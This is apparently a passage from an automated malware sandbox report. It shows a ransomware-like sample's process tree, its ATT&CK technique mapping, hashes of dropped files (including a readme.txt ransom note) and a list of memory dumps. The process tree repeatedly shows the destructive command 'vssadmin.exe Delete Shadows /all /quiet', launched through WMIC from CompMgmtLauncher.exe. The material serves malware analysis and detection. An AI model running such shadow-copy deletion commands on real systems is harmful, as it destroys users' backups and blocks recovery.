    PID:3032

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2784
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:584
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2400

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2616

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2612

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:636

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2676

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:3024

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2712
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2620
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2472

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1192

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2484

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
PID:348
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:1832
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:964

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:956

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2896

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1952

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
PID:1340
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:1824
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1960

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Windows Management Instrumentation

T1047

Persistence

Privilege Escalation

Defense Evasion

Direct Volume Access

T1006

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
0671272679b644e8501f2c53e9c299b7

SHA1
f180278cbbfaa440d403d7c329300c2646ab33c5

SHA256
1bb3da06eb188f4fc265da1dc203f68b888e7537a150bcc9aac06ac593fa3fac

SHA512
0e3566340ac4ba2f369e1a198642b6736ae913d1d3b371d725f844a5658cd6f4c1cc54284bddef9f591cb276bb4e65c3625271d350259254e9804601ff269302

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
bef2a84a1df246081566e6c763f5489e

SHA1
fc03706dd29e13b4ed1f31ac4bedd6adc0445868

SHA256
eb6d1c55beac3c0d49962b06dbd30bccdb73a3ff25a89efb37170b868bddd363

SHA512
5cbda97a7abaf7434f8f9712ea62cd3d3fb285286286a275ae8c4a41dc74e1cb799599f31545e998dca7c5812544652331d60139a113cabd3c02a26ef67c9d66

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
4cda27509f66e2169afde12ed1e80bed

SHA1
4a0debe76d76cbe7054a9280bdcb41eff319f443

SHA256
96a32ba1e40a3bc9471d64c4f231b05769c0bd39a5402b190062cf01cf616ee4

SHA512
f3a8e21303927532579a83127828ef9baf126ca75396b58d7e3b2944a30e6970c6d298807691f6aa2e3a3f72175c8b5e45c41d04ff5e472cf0e581f471dd7450

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
178cd7de6a862c2338441578e53a4a8b

SHA1
b60ec06a455ae8c3de5ede7776c1e60528c6058c

SHA256
209a19430e5191b03f5627c00baf4b901fc59aab6a51c1ced8edcb4511368832

SHA512
d655f6d991f5426ce15a9b8d651779f857b6a53a54c7aeff0147c67d5da75ac90e779b5b5c6d676cba7eb21810b45b2d909e0e292e0398b68d5c1113a1944714

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
b1df5e92bf0626aa79323f9afac96f99

SHA1
1b6637a7ff1884ad3d375f6caff1e3ae3bfca38a

SHA256
049fb67573e8e8de788eaa0dd3f7fd5581a42e008a80bb9e5bace1b69a1bcc75

SHA512
ad225d3d78773c7eed88f1777d30f59076068069589eb178b1cc89188acf6438e71df60fe92d30683ceeb39c361e9209c7b3a43391b817817bc40c82d9d776a0

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
5b6cb2fcd00ca565b4017733e5d64712

SHA1
4de68c6210417aff9e8d1e8bcf065f4e4e179c3f

SHA256
a9054d1b71175bf4d7d702351d50c96d34a7611c554f97257bc0109542754307

SHA512
5c703ea1027eb3efcbcd116991848d84540ffd23098e711ed1b719b5b3a5a561b72a9c3065b48182a3b90281e753fcead6d40c724c3a686c5f633e242a8c71f7

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
107bee16dcd1a8e745e510b990bd0473

SHA1
86dd4f7e8413ead1b59e9d605237a760f0add2ce

SHA256
1c7779f3eabc086c6b27a14ff12043da0b75aee8b5d91faf023850d2bb734884

SHA512
d6b1c58ba06441b4e665262eaf340fa375d62302026f2e71e2a6df872ec782aafae225280331d15581aa9e369b9cc2992d056501855cce011b7249f7e59bc0a2

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
ee9d1abe8e41dc199fbe4a7cd3d004df

SHA1
2dd8450fcb22697a8d78a6b9dff5a26000fdc172

SHA256
566e49d33f196d15f5ed366e32238423283113d91e470d6a61913c50df57a656

SHA512
5c64ccc2568dfe0bf84f033c59dd931ec7e16d8f341bf2b08b136bb46bb74756aa6e9b3b68fcf78ed7f2181efa5e800e16232ac75be13026b724fe1e112b6881

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
4d42231a6aab58677b21ad6924957035

SHA1
1942194cf9519ad190ddbb11a8bb0ea8a821ac09

SHA256
f5aee0c407f2d689ce07356dd81895e71b001f9bfb469015a57454413936568b

SHA512
aab91216be0d7532abde8ddc93d804bdfdfbcedcf32d93217f83ac50322630e120507908cdb51303dfa09035a59449f25cd84691518da2106a254aef97b44731

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
38d83060c2319f1a4162b92c001c6005

SHA1
287b3e934208b0ebe655b20616b2bfb14fac7e0d

SHA256
228df316d73ca625ed10bda93cd0b2107c9d95b7f1ccf2f6f622a681a6de4cdd

SHA512
6171cc190a6a84ba8a0b9e58f931c64e7029007fb58b4a146267e9f3f50ab4b67ce6c7ebdbeba1dde96a051f13975b9a7bf30bc8dac3c48f09a0ecda6541903f

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
ba6cc6a831949b09a29dd870b4373263

SHA1
f8ddc3b875350b28d23741b19780f0d6616143ae

SHA256
e82f99c1c1d78599a821742708712ff5bd476169bbfe2ea7cb7433867e9800bd

SHA512
7d9286d6dc7c08fc15e8a26a8d8476833d5537199e10372859873491a2d6fe3ee62b8433e339ca31568eac7ea31a8e41b583e24cf8c4c3eac61f986a85c058e7

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
25a7aa2174dfe286f48b203d495a53a7

SHA1
ec3da1842bb17286b6c0287f792e21ca3377bb0c

SHA256
af4637c7cab0690fda7e00fb585e4f651b9c7551333c0543a6d340731449e3c4

SHA512
a2770af237a3378eb409eb77eefc7ca3015e4c209d45a083e95162a1968943f6eefde9118f7e79167145e32b4078551d42162f991ce0397e4f3fa4087f124ecc

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
7e8b9f211663ebadd82f4e2e402cb98a

SHA1
23412abc35fa9362a9b9c99af2569e069e6e0884

SHA256
4afbbe01a97c41dfdd926738655521095efee25dd7b24f882e69c1c8021dc6b0

SHA512
4f363fcd219069ee4225b8c7498b4d7c1b798c7240f719d42bdf7836a7b4429653dc092d7842ad07368674035d9499fba0b5fae949e71561a85e57e8c0cc2eeb

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
bf6d2b8f00ea28a1ba10d7f7935459e0

SHA1
99958aa2399841a1163174a31834ae1178e8e31c

SHA256
989c3a7a790186dfce4cd3b79bd91c97bd3e6d5a006776e6676a03688d59c36f

SHA512
cc1b18c957c930a276bf381b8595e6ff00d331889cd62c157fea94a39503f9126f1e6d3ee9cec1826dc3b0842a844f9ddd840ca60a1b16c9c531bf55ed56f0b6

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabE8DA.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarED80.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\Pictures\readme.txt

Filesize
1KB

MD5
78e005dff6e89c5f2be9d4f8cb0ae8e0

SHA1
158fd87a283362b47e0b53ae4baad27656b7061e

SHA256
30bef6202375db1c22692b1e319289afad217d387537823493a277347d3ab556

SHA512
fded52df63a18ac15a8ac3d6d453f33a1cb6030ad598ea175773edf68a9be0673193edb14b98e5c1015da145d8b003c5e04dcb60eaa73f2f2c5b9ad20893a67e

Download Submit
memory/1128-12-0x0000000002030000-0x0000000002035000-memory.dmp

Filesize
20KB

Download
memory/2396-5-0x00000000001F0000-0x00000000001F1000-memory.dmp

Filesize
4KB

Download
memory/2396-2-0x00000000001C0000-0x00000000001C1000-memory.dmp

Filesize
4KB

Download
memory/2396-3-0x00000000001D0000-0x00000000001D1000-memory.dmp

Filesize
4KB

Download
memory/2396-4-0x00000000001E0000-0x00000000001E1000-memory.dmp

Filesize
4KB

Download
memory/2396-0-0x0000000001EC0000-0x000000000225B000-memory.dmp

Filesize
3.6MB

Download
memory/2396-6-0x0000000000200000-0x0000000000201000-memory.dmp

Filesize
4KB

Download
memory/2396-7-0x0000000000240000-0x0000000000241000-memory.dmp

Filesize
4KB

Download
memory/2396-8-0x0000000001DA0000-0x0000000001DA1000-memory.dmp

Filesize
4KB

Download
memory/2396-9-0x0000000001DB0000-0x0000000001DB1000-memory.dmp

Filesize
4KB

Download
memory/2396-10-0x0000000001DC0000-0x0000000001DC1000-memory.dmp

Filesize
4KB

Download
memory/2396-11-0x00000000001A0000-0x00000000001A1000-memory.dmp

Filesize
4KB

Download
memory/2396-1-0x00000000001B0000-0x00000000001B1000-memory.dmp

Filesize
4KB

Download